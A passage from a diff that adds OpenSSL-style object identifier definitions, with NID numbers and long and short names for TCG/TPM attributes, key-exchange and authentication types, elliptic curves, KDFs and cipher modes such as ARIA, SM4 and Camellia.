SN_tcg_at_tcgCredentialSpecification "tcg-at-tcgCredentialSpecification" +#define NID_tcg_at_tbbSecurityAssertions 1357 +#define LN_tcg_at_tbbSecurityAssertions "TBB Security Assertions" +#define SN_tcg_at_tbbSecurityAssertions "tcg-at-tbbSecurityAssertions" +#define NID_tcg_at_tpmSecurityAssertions 1356 +#define LN_tcg_at_tpmSecurityAssertions "TPM Security Assertions" +#define SN_tcg_at_tpmSecurityAssertions "tcg-at-tpmSecurityAssertions" +#define NID_tcg_at_tcgPlatformSpecification 1355 +#define LN_tcg_at_tcgPlatformSpecification "TPM Platform Specification" +#define SN_tcg_at_tcgPlatformSpecification "tcg-at-tcgPlatformSpecification" +#define NID_tcg_at_tpmSpecification 1354 +#define LN_tcg_at_tpmSpecification "TPM Specification" +#define SN_tcg_at_tpmSpecification "tcg-at-tpmSpecification" +#define NID_tcg_at_tpmIdLabel 1353 +#define LN_tcg_at_tpmIdLabel "TPM ID Label" +#define SN_tcg_at_tpmIdLabel "tcg-at-tpmIdLabel" +#define NID_tcg_at_tbbSecurityTarget 1352 +#define LN_tcg_at_tbbSecurityTarget "TBB Security Target" +#define SN_tcg_at_tbbSecurityTarget "tcg-at-tbbSecurityTarget" +#define NID_tcg_at_tbbProtectionProfile 1351 +#define LN_tcg_at_tbbProtectionProfile "TBB Protection Profile" +#define SN_tcg_at_tbbProtectionProfile "tcg-at-tbbProtectionProfile" +#define NID_tcg_at_tpmSecurityTarget 1350 +#define LN_tcg_at_tpmSecurityTarget "TPM Security Target" +#define SN_tcg_at_tpmSecurityTarget "tcg-at-tpmSecurityTarget" +#define NID_tcg_at_tpmProtectionProfile 1349 +#define LN_tcg_at_tpmProtectionProfile "TPM Protection Profile" +#define SN_tcg_at_tpmProtectionProfile "tcg-at-tpmProtectionProfile" +#define NID_tcg_at_securityQualities 1348 +#define LN_tcg_at_securityQualities "Security Qualities" +#define SN_tcg_at_securityQualities "tcg-at-securityQualities" +#define NID_tcg_at_tpmVersion 1347 +#define LN_tcg_at_tpmVersion "TPM Version" +#define SN_tcg_at_tpmVersion "tcg-at-tpmVersion" +#define NID_tcg_at_tpmModel 1346 +#define LN_tcg_at_tpmModel "TPM Model" +#define SN_tcg_at_tpmModel "tcg-at-tpmModel" +#define NID_tcg_at_tpmManufacturer 1345 +#define LN_tcg_at_tpmManufacturer "TPM Manufacturer" +#define SN_tcg_at_tpmManufacturer "tcg-at-tpmManufacturer" +#define NID_tcg_at_platformIdentifier 1344 +#define LN_tcg_at_platformIdentifier "TCG Platform Identifier" +#define SN_tcg_at_platformIdentifier "tcg-at-platformIdentifier" +#define NID_tcg_at_platformConfiguration 1343 +#define LN_tcg_at_platformConfiguration "TCG Platform Configuration" +#define SN_tcg_at_platformConfiguration "tcg-at-platformConfiguration" +#define NID_tcg_at_platformSerial 1342 +#define LN_tcg_at_platformSerial "TCG Platform Serial Number" +#define SN_tcg_at_platformSerial "tcg-at-platformSerial" +#define NID_tcg_at_platformVersion 1341 +#define LN_tcg_at_platformVersion "TCG Platform Version" +#define SN_tcg_at_platformVersion "tcg-at-platformVersion" +#define NID_tcg_at_platformModel 1340 +#define LN_tcg_at_platformModel "TCG Platform Model" +#define SN_tcg_at_platformModel "tcg-at-platformModel" +#define NID_tcg_at_platformConfigUri 1339 +#define LN_tcg_at_platformConfigUri "TCG Platform Configuration URI" +#define SN_tcg_at_platformConfigUri "tcg-at-platformConfigUri" +#define NID_tcg_at_platformManufacturerId 1338 +#define LN_tcg_at_platformManufacturerId "TCG Platform Manufacturer ID" +#define SN_tcg_at_platformManufacturerId "tcg-at-platformManufacturerId" +#define NID_tcg_at_platformManufacturerStr 1337 +#define LN_tcg_at_platformManufacturerStr "TCG Platform Manufacturer String" +#define SN_tcg_at_platformManufacturerStr "tcg-at-platformManufacturerStr" +#define NID_tcg_common 1336 +#define LN_tcg_common "Trusted Computing Group Common" +#define SN_tcg_common "tcg-common" +#define NID_tcg_traits 1335 +#define LN_tcg_traits "Trusted Computing Group Traits" +#define SN_tcg_traits "tcg-traits" +#define NID_tcg_registry 1334 +#define LN_tcg_registry "Trusted Computing Group Registry" +#define SN_tcg_registry "tcg-registry" +#define NID_tcg_address 1333 +#define LN_tcg_address "Trusted Computing Group Address Formats" +#define SN_tcg_address "tcg-address" +#define NID_tcg_ca 1332 +#define LN_tcg_ca "Trusted Computing Group Certificate Policies" +#define SN_tcg_ca "tcg-ca" +#define NID_tcg_kp 1331 +#define LN_tcg_kp "Trusted Computing Group Key Purposes" +#define SN_tcg_kp "tcg-kp" +#define NID_tcg_ce 1330 +#define LN_tcg_ce "Trusted Computing Group Certificate Extensions" +#define SN_tcg_ce "tcg-ce" +#define NID_tcg_platformClass 1329 +#define LN_tcg_platformClass "Trusted Computing Group Platform Classes" +#define SN_tcg_platformClass "tcg-platformClass" +#define NID_tcg_algorithm 1328 +#define LN_tcg_algorithm "Trusted Computing Group Algorithms" +#define SN_tcg_algorithm "tcg-algorithm" +#define NID_tcg_protocol 1327 +#define LN_tcg_protocol "Trusted Computing Group Protocols" +#define SN_tcg_protocol "tcg-protocol" +#define NID_tcg_attribute 1326 +#define LN_tcg_attribute "Trusted Computing Group Attributes" +#define SN_tcg_attribute "tcg-attribute" +#define NID_tcg_tcpaSpecVersion 1325 +#define SN_tcg_tcpaSpecVersion "tcg-tcpaSpecVersion" +#define NID_tcg 1324 +#define LN_tcg "Trusted Computing Group" +#define SN_tcg "tcg" +#define NID_zstd 1289 +#define LN_zstd "Zstandard compression" +#define SN_zstd "zstd" +#define NID_brotli 1288 +#define LN_brotli "Brotli compression" +#define SN_brotli "brotli" +#define NID_oracle_jdk_trustedkeyusage 1283 +#define LN_oracle_jdk_trustedkeyusage "Trusted key usage (Oracle)" +#define SN_oracle_jdk_trustedkeyusage "oracle-jdk-trustedkeyusage" +#define NID_oracle 1282 +#define LN_oracle "Oracle organization" +#define SN_oracle "oracle-organization" +#define NID_aes_256_siv 1200 +#define LN_aes_256_siv "aes-256-siv" +#define SN_aes_256_siv "AES-256-SIV" +#define NID_aes_192_siv 1199 +#define LN_aes_192_siv "aes-192-siv" +#define SN_aes_192_siv "AES-192-SIV" +#define NID_aes_128_siv 1198 +#define LN_aes_128_siv "aes-128-siv" +#define SN_aes_128_siv "AES-128-SIV" +#define NID_uacurve9 1169 +#define LN_uacurve9 "DSTU curve 9" +#define SN_uacurve9 "uacurve9" +#define NID_uacurve8 1168 +#define LN_uacurve8 "DSTU curve 8" +#define SN_uacurve8 "uacurve8" +#define NID_uacurve7 1167 +#define LN_uacurve7 "DSTU curve 7" +#define SN_uacurve7 "uacurve7" +#define NID_uacurve6 1166 +#define LN_uacurve6 "DSTU curve 6" +#define SN_uacurve6 "uacurve6" +#define NID_uacurve5 1165 +#define LN_uacurve5 "DSTU curve 5" +#define SN_uacurve5 "uacurve5" +#define NID_uacurve4 1164 +#define LN_uacurve4 "DSTU curve 4" +#define SN_uacurve4 "uacurve4" +#define NID_uacurve3 1163 +#define LN_uacurve3 "DSTU curve 3" +#define SN_uacurve3 "uacurve3" +#define NID_uacurve2 1162 +#define LN_uacurve2 "DSTU curve 2" +#define SN_uacurve2 "uacurve2" +#define NID_uacurve1 1161 +#define LN_uacurve1 "DSTU curve 1" +#define SN_uacurve1 "uacurve1" +#define NID_uacurve0 1160 +#define LN_uacurve0 "DSTU curve 0" +#define SN_uacurve0 "uacurve0" +#define NID_dstu4145be 1159 +#define LN_dstu4145be "DSTU 4145-2002 big endian" +#define SN_dstu4145be "dstu4145be" +#define NID_dstu4145le 1158 +#define LN_dstu4145le "DSTU 4145-2002 little endian" +#define SN_dstu4145le "dstu4145le" +#define NID_dstu34311 1157 +#define LN_dstu34311 "DSTU Gost 34311-95" +#define SN_dstu34311 "dstu34311" +#define NID_hmacWithDstu34311 1156 +#define LN_hmacWithDstu34311 "HMAC DSTU Gost 34311-95" +#define SN_hmacWithDstu34311 "hmacWithDstu34311" +#define NID_dstu28147_wrap 1155 +#define LN_dstu28147_wrap "DSTU Gost 28147-2009 key wrap" +#define SN_dstu28147_wrap "dstu28147-wrap" +#define NID_dstu28147_cfb 1154 +#define LN_dstu28147_cfb "DSTU Gost 28147-2009 CFB mode" +#define SN_dstu28147_cfb "dstu28147-cfb" +#define NID_dstu28147_ofb 1153 +#define LN_dstu28147_ofb "DSTU Gost 28147-2009 OFB mode" +#define SN_dstu28147_ofb "dstu28147-ofb" +#define NID_dstu28147 1152 +#define LN_dstu28147 "DSTU Gost 28147-2009" +#define SN_dstu28147 "dstu28147" +#define NID_ua_pki 1151 +#define SN_ua_pki "ua-pki" +#define NID_ISO_UA 1150 +#define SN_ISO_UA "ISO-UA" +#define NID_modp_8192 1217 +#define SN_modp_8192 "modp_8192" +#define NID_modp_6144 1216 +#define SN_modp_6144 "modp_6144" +#define NID_modp_4096 1215 +#define SN_modp_4096 "modp_4096" +#define NID_modp_3072 1214 +#define SN_modp_3072 "modp_3072" +#define NID_modp_2048 1213 +#define SN_modp_2048 "modp_2048" +#define NID_modp_1536 1212 +#define SN_modp_1536 "modp_1536" +#define NID_ffdhe8192 1130 +#define SN_ffdhe8192 "ffdhe8192" +#define NID_ffdhe6144 1129 +#define SN_ffdhe6144 "ffdhe6144" +#define NID_ffdhe4096 1128 +#define SN_ffdhe4096 "ffdhe4096" +#define NID_ffdhe3072 1127 +#define SN_ffdhe3072 "ffdhe3072" +#define NID_ffdhe2048 1126 +#define SN_ffdhe2048 "ffdhe2048" +#define NID_siphash 1062 +#define LN_siphash "siphash" +#define SN_siphash "SipHash" +#define NID_poly1305 1061 +#define LN_poly1305 "poly1305" +#define SN_poly1305 "Poly1305" +#define NID_auth_any 1064 +#define LN_auth_any "auth-any" +#define SN_auth_any "AuthANY" +#define NID_auth_null 1053 +#define LN_auth_null "auth-null" +#define SN_auth_null "AuthNULL" +#define NID_auth_srp 1052 +#define LN_auth_srp "auth-srp" +#define SN_auth_srp "AuthSRP" +#define NID_auth_gost12 1051 +#define LN_auth_gost12 "auth-gost12" +#define SN_auth_gost12 "AuthGOST12" +#define NID_auth_gost01 1050 +#define LN_auth_gost01 "auth-gost01" +#define SN_auth_gost01 "AuthGOST01" +#define NID_auth_dss 1049 +#define LN_auth_dss "auth-dss" +#define SN_auth_dss "AuthDSS" +#define NID_auth_psk 1048 +#define LN_auth_psk "auth-psk" +#define SN_auth_psk "AuthPSK" +#define NID_auth_ecdsa 1047 +#define LN_auth_ecdsa "auth-ecdsa" +#define SN_auth_ecdsa "AuthECDSA" +#define NID_auth_rsa 1046 +#define LN_auth_rsa "auth-rsa" +#define SN_auth_rsa "AuthRSA" +#define NID_kx_any 1063 +#define LN_kx_any "kx-any" +#define SN_kx_any "KxANY" +#define NID_kx_gost18 1218 +#define LN_kx_gost18 "kx-gost18" +#define SN_kx_gost18 "KxGOST18" +#define NID_kx_gost 1045 +#define LN_kx_gost "kx-gost" +#define SN_kx_gost "KxGOST" +#define NID_kx_srp 1044 +#define LN_kx_srp "kx-srp" +#define SN_kx_srp "KxSRP" +#define NID_kx_psk 1043 +#define LN_kx_psk "kx-psk" +#define SN_kx_psk "KxPSK" +#define NID_kx_rsa_psk 1042 +#define LN_kx_rsa_psk "kx-rsa-psk" +#define SN_kx_rsa_psk "KxRSA_PSK" +#define NID_kx_dhe_psk 1041 +#define LN_kx_dhe_psk "kx-dhe-psk" +#define SN_kx_dhe_psk "KxDHE-PSK" +#define NID_kx_ecdhe_psk 1040 +#define LN_kx_ecdhe_psk "kx-ecdhe-psk" +#define SN_kx_ecdhe_psk "KxECDHE-PSK" +#define NID_kx_dhe 1039 +#define LN_kx_dhe "kx-dhe" +#define SN_kx_dhe "KxDHE" +#define NID_kx_ecdhe 1038 +#define LN_kx_ecdhe "kx-ecdhe" +#define SN_kx_ecdhe "KxECDHE" +#define NID_kx_rsa 1037 +#define LN_kx_rsa "kx-rsa" +#define SN_kx_rsa "KxRSA" +#define SN_ED448 "ED448" +#define SN_ED25519 "ED25519" +#define NID_X448 1035 +#define SN_X448 "X448" +#define NID_X25519 1034 +#define SN_X25519 "X25519" +#define NID_pkInitKDC 1033 +#define LN_pkInitKDC "Signing KDC Response" +#define SN_pkInitKDC "pkInitKDC" +#define NID_pkInitClientAuth 1032 +#define LN_pkInitClientAuth "PKINIT Client Auth" +#define SN_pkInitClientAuth "pkInitClientAuth" +#define NID_id_pkinit 1031 +#define SN_id_pkinit "id-pkinit" +#define NID_x963kdf 1206 +#define LN_x963kdf "x963kdf" +#define SN_x963kdf "X963KDF" +#define NID_x942kdf 1207 +#define LN_x942kdf "x942kdf" +#define SN_x942kdf "X942KDF" +#define NID_sskdf 1205 +#define LN_sskdf "sskdf" +#define SN_sskdf "SSKDF" +#define NID_sshkdf 1203 +#define LN_sshkdf "sshkdf" +#define SN_sshkdf "SSHKDF" +#define NID_hkdf 1036 +#define LN_hkdf "hkdf" +#define SN_hkdf "HKDF" +#define NID_tls1_prf 1021 +#define LN_tls1_prf "tls1-prf" +#define SN_tls1_prf "TLS1-PRF" +#define NID_id_scrypt 973 +#define LN_id_scrypt "scrypt" +#define SN_id_scrypt "id-scrypt" +#define NID_jurisdictionCountryName 957 +#define LN_jurisdictionCountryName "jurisdictionCountryName" +#define SN_jurisdictionCountryName "jurisdictionC" +#define NID_jurisdictionStateOrProvinceName 956 +#define LN_jurisdictionStateOrProvinceName "jurisdictionStateOrProvinceName" +#define SN_jurisdictionStateOrProvinceName "jurisdictionST" +#define NID_jurisdictionLocalityName 955 +#define LN_jurisdictionLocalityName "jurisdictionLocalityName" +#define SN_jurisdictionLocalityName "jurisdictionL" +#define NID_ct_cert_scts 954 +#define LN_ct_cert_scts "CT Certificate SCTs" +#define SN_ct_cert_scts "ct_cert_scts" +#define NID_ct_precert_signer 953 +#define LN_ct_precert_signer "CT Precertificate Signer" +#define SN_ct_precert_signer "ct_precert_signer" +#define NID_ct_precert_poison 952 +#define LN_ct_precert_poison "CT Precertificate Poison" +#define SN_ct_precert_poison "ct_precert_poison" +#define NID_ct_precert_scts 951 +#define LN_ct_precert_scts "CT Precertificate SCTs" +#define SN_ct_precert_scts "ct_precert_scts" +#define NID_dh_cofactor_kdf 947 +#define SN_dh_cofactor_kdf "dh-cofactor-kdf" +#define NID_dh_std_kdf 946 +#define SN_dh_std_kdf "dh-std-kdf" +#define NID_dhSinglePass_cofactorDH_sha512kdf_scheme 945 +#define SN_dhSinglePass_cofactorDH_sha512kdf_scheme "dhSinglePass-cofactorDH-sha512kdf-scheme" +#define NID_dhSinglePass_cofactorDH_sha384kdf_scheme 944 +#define SN_dhSinglePass_cofactorDH_sha384kdf_scheme "dhSinglePass-cofactorDH-sha384kdf-scheme" +#define NID_dhSinglePass_cofactorDH_sha256kdf_scheme 943 +#define SN_dhSinglePass_cofactorDH_sha256kdf_scheme "dhSinglePass-cofactorDH-sha256kdf-scheme" +#define NID_dhSinglePass_cofactorDH_sha224kdf_scheme 942 +#define SN_dhSinglePass_cofactorDH_sha224kdf_scheme "dhSinglePass-cofactorDH-sha224kdf-scheme" +#define NID_dhSinglePass_cofactorDH_sha1kdf_scheme 941 +#define SN_dhSinglePass_cofactorDH_sha1kdf_scheme "dhSinglePass-cofactorDH-sha1kdf-scheme" +#define NID_dhSinglePass_stdDH_sha512kdf_scheme 940 +#define SN_dhSinglePass_stdDH_sha512kdf_scheme "dhSinglePass-stdDH-sha512kdf-scheme" +#define NID_dhSinglePass_stdDH_sha384kdf_scheme 939 +#define SN_dhSinglePass_stdDH_sha384kdf_scheme "dhSinglePass-stdDH-sha384kdf-scheme" +#define NID_dhSinglePass_stdDH_sha256kdf_scheme 938 +#define SN_dhSinglePass_stdDH_sha256kdf_scheme "dhSinglePass-stdDH-sha256kdf-scheme" +#define NID_dhSinglePass_stdDH_sha224kdf_scheme 937 +#define SN_dhSinglePass_stdDH_sha224kdf_scheme "dhSinglePass-stdDH-sha224kdf-scheme" +#define NID_dhSinglePass_stdDH_sha1kdf_scheme 936 +#define SN_dhSinglePass_stdDH_sha1kdf_scheme "dhSinglePass-stdDH-sha1kdf-scheme" +#define NID_brainpoolP512t1 934 +#define SN_brainpoolP512t1 "brainpoolP512t1" +#define NID_brainpoolP512r1tls13 1287 +#define SN_brainpoolP512r1tls13 "brainpoolP512r1tls13" +#define NID_brainpoolP512r1 933 +#define SN_brainpoolP512r1 "brainpoolP512r1" +#define NID_brainpoolP384t1 932 +#define SN_brainpoolP384t1 "brainpoolP384t1" +#define NID_brainpoolP384r1tls13 1286 +#define SN_brainpoolP384r1tls13 "brainpoolP384r1tls13" +#define NID_brainpoolP384r1 931 +#define SN_brainpoolP384r1 "brainpoolP384r1" +#define NID_brainpoolP320t1 930 +#define SN_brainpoolP320t1 "brainpoolP320t1" +#define NID_brainpoolP320r1 929 +#define SN_brainpoolP320r1 "brainpoolP320r1" +#define NID_brainpoolP256t1 928 +#define SN_brainpoolP256t1 "brainpoolP256t1" +#define NID_brainpoolP256r1tls13 1285 +#define SN_brainpoolP256r1tls13 "brainpoolP256r1tls13" +#define NID_brainpoolP256r1 927 +#define SN_brainpoolP256r1 "brainpoolP256r1" +#define NID_brainpoolP224t1 926 +#define SN_brainpoolP224t1 "brainpoolP224t1" +#define NID_brainpoolP224r1 925 +#define SN_brainpoolP224r1 "brainpoolP224r1" +#define NID_brainpoolP192t1 924 +#define SN_brainpoolP192t1 "brainpoolP192t1" +#define NID_brainpoolP192r1 923 +#define SN_brainpoolP192r1 "brainpoolP192r1" +#define NID_brainpoolP160t1 922 +#define SN_brainpoolP160t1 "brainpoolP160t1" +#define NID_brainpoolP160r1 921 +#define SN_brainpoolP160r1 "brainpoolP160r1" +#define NID_dhpublicnumber 920 +#define LN_dhpublicnumber "X9.42 DH" +#define SN_dhpublicnumber "dhpublicnumber" +#define NID_chacha20 1019 +#define LN_chacha20 "chacha20" +#define SN_chacha20 "ChaCha20" +#define NID_chacha20_poly1305 1018 +#define LN_chacha20_poly1305 "chacha20-poly1305" +#define SN_chacha20_poly1305 "ChaCha20-Poly1305" +#define NID_aes_256_cbc_hmac_sha256 950 +#define LN_aes_256_cbc_hmac_sha256 "aes-256-cbc-hmac-sha256" +#define SN_aes_256_cbc_hmac_sha256 "AES-256-CBC-HMAC-SHA256" +#define NID_aes_192_cbc_hmac_sha256 949 +#define LN_aes_192_cbc_hmac_sha256 "aes-192-cbc-hmac-sha256" +#define SN_aes_192_cbc_hmac_sha256 "AES-192-CBC-HMAC-SHA256" +#define NID_aes_128_cbc_hmac_sha256 948 +#define LN_aes_128_cbc_hmac_sha256 "aes-128-cbc-hmac-sha256" +#define SN_aes_128_cbc_hmac_sha256 "AES-128-CBC-HMAC-SHA256" +#define NID_aes_256_cbc_hmac_sha1 918 +#define LN_aes_256_cbc_hmac_sha1 "aes-256-cbc-hmac-sha1" +#define SN_aes_256_cbc_hmac_sha1 "AES-256-CBC-HMAC-SHA1" +#define NID_aes_192_cbc_hmac_sha1 917 +#define LN_aes_192_cbc_hmac_sha1 "aes-192-cbc-hmac-sha1" +#define SN_aes_192_cbc_hmac_sha1 "AES-192-CBC-HMAC-SHA1" +#define NID_aes_128_cbc_hmac_sha1 916 +#define LN_aes_128_cbc_hmac_sha1 "aes-128-cbc-hmac-sha1" +#define SN_aes_128_cbc_hmac_sha1 "AES-128-CBC-HMAC-SHA1" +#define NID_rc4_hmac_md5 915 +#define LN_rc4_hmac_md5 "rc4-hmac-md5" +#define SN_rc4_hmac_md5 "RC4-HMAC-MD5" +#define NID_cmac 894 +#define LN_cmac "cmac" +#define SN_cmac "CMAC" +#define LN_hmac "hmac" +#define SN_hmac "HMAC" +#define NID_sm4_xts 1290 +#define LN_sm4_xts "sm4-xts" +#define SN_sm4_xts "SM4-XTS" +#define NID_sm4_ccm 1249 +#define LN_sm4_ccm "sm4-ccm" +#define SN_sm4_ccm "SM4-CCM" +#define NID_sm4_gcm 1248 +#define LN_sm4_gcm "sm4-gcm" +#define SN_sm4_gcm "SM4-GCM" +#define NID_sm4_ctr 1139 +#define LN_sm4_ctr "sm4-ctr" +#define SN_sm4_ctr "SM4-CTR" +#define NID_sm4_cfb8 1138 +#define LN_sm4_cfb8 "sm4-cfb8" +#define SN_sm4_cfb8 "SM4-CFB8" +#define NID_sm4_cfb1 1136 +#define LN_sm4_cfb1 "sm4-cfb1" +#define SN_sm4_cfb1 "SM4-CFB1" +#define NID_sm4_cfb128 1137 +#define LN_sm4_cfb128 "sm4-cfb" +#define SN_sm4_cfb128 "SM4-CFB" +#define NID_sm4_ofb128 1135 +#define LN_sm4_ofb128 "sm4-ofb" +#define SN_sm4_ofb128 "SM4-OFB" +#define NID_sm4_cbc 1134 +#define LN_sm4_cbc "sm4-cbc" +#define SN_sm4_cbc "SM4-CBC" +#define NID_sm4_ecb 1133 +#define LN_sm4_ecb "sm4-ecb" +#define SN_sm4_ecb "SM4-ECB" +#define NID_seed_ofb128 778 +#define LN_seed_ofb128 "seed-ofb" +#define SN_seed_ofb128 "SEED-OFB" +#define NID_seed_cfb128 779 +#define LN_seed_cfb128 "seed-cfb" +#define SN_seed_cfb128 "SEED-CFB" +#define NID_seed_cbc 777 +#define LN_seed_cbc "seed-cbc" +#define SN_seed_cbc "SEED-CBC" +#define NID_seed_ecb 776 +#define LN_seed_ecb "seed-ecb" +#define SN_seed_ecb "SEED-ECB" +#define NID_kisa 773 +#define LN_kisa "kisa" +#define SN_kisa "KISA" +#define NID_aria_256_gcm 1125 +#define LN_aria_256_gcm "aria-256-gcm" +#define SN_aria_256_gcm "ARIA-256-GCM" +#define NID_aria_192_gcm 1124 +#define LN_aria_192_gcm "aria-192-gcm" +#define SN_aria_192_gcm "ARIA-192-GCM" +#define NID_aria_128_gcm 1123 +#define LN_aria_128_gcm "aria-128-gcm" +#define SN_aria_128_gcm "ARIA-128-GCM" +#define NID_aria_256_ccm 1122 +#define LN_aria_256_ccm "aria-256-ccm" +#define SN_aria_256_ccm "ARIA-256-CCM" +#define NID_aria_192_ccm 1121 +#define LN_aria_192_ccm "aria-192-ccm" +#define SN_aria_192_ccm "ARIA-192-CCM" +#define NID_aria_128_ccm 1120 +#define LN_aria_128_ccm "aria-128-ccm" +#define SN_aria_128_ccm "ARIA-128-CCM" +#define NID_aria_256_cfb8 1085 +#define LN_aria_256_cfb8 "aria-256-cfb8" +#define SN_aria_256_cfb8 "ARIA-256-CFB8" +#define NID_aria_192_cfb8 1084 +#define LN_aria_192_cfb8 "aria-192-cfb8" +#define SN_aria_192_cfb8 "ARIA-192-CFB8" +#define NID_aria_128_cfb8 1083 +#define LN_aria_128_cfb8 "aria-128-cfb8" +#define SN_aria_128_cfb8 "ARIA-128-CFB8" +#define NID_aria_256_cfb1 1082 +#define LN_aria_256_cfb1 "aria-256-cfb1" +#define SN_aria_256_cfb1 "ARIA-256-CFB1" +#define NID_aria_192_cfb1 1081 +#define LN_aria_192_cfb1 "aria-192-cfb1" +#define SN_aria_192_cfb1 "ARIA-192-CFB1" +#define NID_aria_128_cfb1 1080 +#define LN_aria_128_cfb1 "aria-128-cfb1" +#define SN_aria_128_cfb1 "ARIA-128-CFB1" +#define NID_aria_256_ctr 1079 +#define LN_aria_256_ctr "aria-256-ctr" +#define SN_aria_256_ctr "ARIA-256-CTR" +#define NID_aria_256_ofb128 1078 +#define LN_aria_256_ofb128 "aria-256-ofb" +#define SN_aria_256_ofb128 "ARIA-256-OFB" +#define NID_aria_256_cfb128 1077 +#define LN_aria_256_cfb128 "aria-256-cfb" +#define SN_aria_256_cfb128 "ARIA-256-CFB" +#define NID_aria_256_cbc 1076 +#define LN_aria_256_cbc "aria-256-cbc" +#define SN_aria_256_cbc "ARIA-256-CBC" +#define NID_aria_256_ecb 1075 +#define LN_aria_256_ecb "aria-256-ecb" +#define SN_aria_256_ecb "ARIA-256-ECB" +#define NID_aria_192_ctr 1074 +#define LN_aria_192_ctr "aria-192-ctr" +#define SN_aria_192_ctr "ARIA-192-CTR" +#define NID_aria_192_ofb128 1073 +#define LN_aria_192_ofb128 "aria-192-ofb" +#define SN_aria_192_ofb128 "ARIA-192-OFB" +#define NID_aria_192_cfb128 1072 +#define LN_aria_192_cfb128 "aria-192-cfb" +#define SN_aria_192_cfb128 "ARIA-192-CFB" +#define NID_aria_192_cbc 1071 +#define LN_aria_192_cbc "aria-192-cbc" +#define SN_aria_192_cbc "ARIA-192-CBC" +#define NID_aria_192_ecb 1070 +#define LN_aria_192_ecb "aria-192-ecb" +#define SN_aria_192_ecb "ARIA-192-ECB" +#define NID_aria_128_ctr 1069 +#define LN_aria_128_ctr "aria-128-ctr" +#define SN_aria_128_ctr "ARIA-128-CTR" +#define NID_aria_128_ofb128 1068 +#define LN_aria_128_ofb128 "aria-128-ofb" +#define SN_aria_128_ofb128 "ARIA-128-OFB" +#define NID_aria_128_cfb128 1067 +#define LN_aria_128_cfb128 "aria-128-cfb" +#define SN_aria_128_cfb128 "ARIA-128-CFB" +#define NID_aria_128_cbc 1066 +#define LN_aria_128_cbc "aria-128-cbc" +#define SN_aria_128_cbc "ARIA-128-CBC" +#define NID_aria_128_ecb 1065 +#define LN_aria_128_ecb "aria-128-ecb" +#define SN_aria_128_ecb "ARIA-128-ECB" +#define NID_camellia_256_cfb8 765 +#define LN_camellia_256_cfb8 "camellia-256-cfb8" +#define SN_camellia_256_cfb8 "CAMELLIA-256-CFB8" +#define NID_camellia_192_cfb8 764 +#define LN_camellia_192_cfb8 "camellia-192-cfb8" +#define SN_camellia_192_cfb8 "CAMELLIA-192-CFB8" +#define NID_camellia_128_cfb8 763 +#define LN_camellia_128_cfb8 "camellia-128-cfb8" +#define SN_camellia_128_cfb8 "CAMELLIA-128-CFB8" +#define NID_camellia_256_cfb1 762 +#define LN_camellia_256_cfb1 "camellia-256-cfb1" +#define SN_camellia_256_cfb1 "CAMELLIA-256-CFB1" +#define NID_camellia_192_cfb1 761 +#define LN_camellia_192_cfb1 "camellia-192-cfb1" +#define SN_camellia_192_cfb1 "CAMELLIA-192-CFB1" +#define NID_camellia_128_cfb1 760 +#define LN_camellia_128_cfb1 "camellia-128-cfb1" +#define SN_camellia_128_cfb1 "CAMELLIA-128-CFB1" +#define NID_camellia_256_cmac 972 +#define LN_camellia_256_cmac "camellia-256-cmac" +#define SN_camellia_256_cmac "CAMELLIA-256-CMAC" +#define NID_camellia_256_ctr 971 +#define LN_camellia_256_ctr "camellia-256-ctr" +#define SN_camellia_256_ctr "CAMELLIA-256-CTR" +#define NID_camellia_256_ccm 970 +#define LN_camellia_256_ccm "camellia-256-ccm" +#define SN_camellia_256_ccm "CAMELLIA-256-CCM" +#define NID_camellia_256_gcm 969 +#define LN_camellia_256_gcm "camellia-256-gcm" +#define SN_camellia_256_gcm "CAMELLIA-256-GCM" +#define NID_camellia_256_cfb128 759 +#define LN_camellia_256_cfb128 "camellia-256-cfb" +#define SN_camellia_256_cfb128 "CAMELLIA-256-CFB" +#define NID_camellia_256_ofb128 768 +#define LN_camellia_256_ofb128 "camellia-256-ofb" +#define SN_camellia_256_ofb128 "CAMELLIA-256-OFB" +#define NID_camellia_256_ecb 756 +#define LN_camellia_256_ecb "camellia-256-ecb" +#define SN_camellia_256_ecb "CAMELLIA-256-ECB" +#define NID_camellia_192_cmac 968 +#define LN_camellia_192_cmac "camellia-192-cmac" +#define SN_camellia_192_cmac "CAMELLIA-192-CMAC" +#define NID_camellia_192_ctr 967 +#define LN_camellia_192_ctr "camellia-192-ctr" +#define SN_camellia_192_ctr "CAMELLIA-192-CTR" +#define NID_camellia_192_ccm 966 +#define LN_camellia_192_ccm "camellia-192-ccm" +#define SN_camellia_192_ccm "CAMELLIA-192-CCM" +#define NID_camellia_192_gcm 965 +#define LN_camellia_192_gcm "camellia-192-gcm" +#define SN_camellia_192_gcm "CAMELLIA-192-GCM" +#define NID_camellia_192_cfb128 758 +#define LN_camellia_192_cfb128 "camellia-192-cfb" +#define SN_camellia_192_cfb128 "CAMELLIA-192-CFB" +#define NID_camellia_192_ofb128 767 +#define LN_camellia_192_ofb128 "camellia-192-ofb" +#define SN_camellia_192_ofb128 "CAMELLIA-192-OFB" +#define NID_camellia_192_ecb 755 +#define LN_camellia_192_ecb "camellia-192-ecb" +#define SN_camellia_192_ecb "CAMELLIA-192-ECB" +#define NID_camellia_128_cmac 964 +#define LN_camellia_128_cmac "camellia-128-cmac" +#define SN_camellia_128_cmac "CAMELLIA-128-CMAC" +#define NID_camellia_128_ctr 963 +#define LN_camellia_128_ctr "camellia-128-ctr" +#define SN_camellia_128_ctr "CAMELLIA-128-CTR" +#define NID_camellia_128_ccm 962 +#define LN_camellia_128_ccm "camellia-128-ccm" +#define SN_camellia_128_ccm "CAMELLIA-128-CCM" +#define NID_camellia_128_gcm 961 +#define LN_camellia_128_gcm "camellia-128-gcm" +#define SN_camellia_128_gcm "CAMELLIA-128-GCM" +#define NID_camellia_128_cfb128 757 +#define LN_camellia_128_cfb128 "camellia-128-cfb" +#define SN_camellia_128_cfb128 "CAMELLIA-128-CFB" +#define NID_camellia_128_ofb128 766 +#define LN_camellia_128_ofb128 "camellia-128-ofb" +#define SN_camellia_128_ofb128 "CAMELLIA-128-OFB" +#define NID_camellia_128_ecb 754 +#define LN_camellia_128_ecb "camellia-128-ecb" +#define SN_camellia_128_ecb "CAMELLIA-128-ECB" +#define NID_id_camellia256_wrap 909 +#define SN_id_camellia256_wrap "id-camellia256-wrap" +#define NID_id_camellia192_wrap 908 +#define SN_id_camellia192_wrap "id-camellia192-wrap" +#define NID_id_camellia128_wrap 907 +#define SN_id_camellia128_wrap "id-camellia128-wrap" +#define NID_camellia_256_cbc 753 +#define LN_camellia_256_cbc "camellia-256-cbc" +#define SN_camellia_256_cbc 